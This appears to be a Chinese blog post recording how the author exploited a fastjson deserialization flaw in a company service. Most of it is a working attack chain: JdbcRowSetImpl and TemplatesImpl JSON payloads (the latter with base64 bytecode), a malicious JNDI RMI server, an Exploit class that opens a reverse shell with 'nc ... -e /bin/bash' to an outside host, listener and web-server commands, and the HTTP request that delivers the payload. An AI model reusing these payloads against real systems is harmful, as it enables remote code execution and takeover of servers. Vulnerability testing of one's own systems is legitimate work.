最近在公司git翻代码时,在pom.xml看到一个项目fastjson版本比较低。于是测了一下反序列化漏洞,记录几个坑
测试poc
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://172.16.32.34:1099/Exploit","autoCommit":true}
在对应的机器上监听一下端口,如果能收到数据则漏洞存在。
nc -vv -l -p 6666
这个漏洞有很多的利用方式,可以把poc编译为class文件后使用base64加密,通过以下的方式HTTP发包即可。
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAfY3VybCBodHRwOi8vMTE4LjI0LjEwNS4yNTA6MTA5OQwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
我测试过程中使用的rmi和ldap的方式。
rmi的简单利用过程如下
启一个JNDI的服务。
➜ fastjson cat JNDIServer.java import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exploit", "Exploit","http://172.16.32.34:8888/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); } }
编译完启动即可。
编译poc
➜ fastjson cat Exploit.java import java.lang.Runtime; import java.lang.Process; public class Exploit { public Exploit() { try{ String commands = "nc 172.16.32.34 6666 -e /bin/bash"; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exploit e = new Exploit(); } }
PS:我直接用的nc来反弹shell,在测试的过程中,公司服务在docker镜像中部署,镜像较精简,系统不包含curl,bash,wget等命令,测试的时候还以为是poc或者防火墙的问题。。最后使用ping和dnslog测试成功了。
然后把poc放到一个web目录下供JNDIServer拿就可以了。直接用python启一下web服务
python -m SimpleHTTPServer 8888
然后监听一下nc反弹的端口
nc -vv -l -p 6666
发一下poc包就会收到反弹的shell
POST /api/supplychain/listData HTTP/1.1 Host: www.beysec.com Content-Length: 111 traceID: b0923e77-96c1-4cb6-ab65-bed46da8334b Accept: application/json, text/plain, */* groupID: 953 Origin: http://www.beysec.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 Content-Type: application/json;charset=UTF-8 Referer: http://www.beysec.com/meta/1/1?orgID=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: access_token=*; Connection: close {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://172.16.32.34:1099/Exploit","autoCommit":true}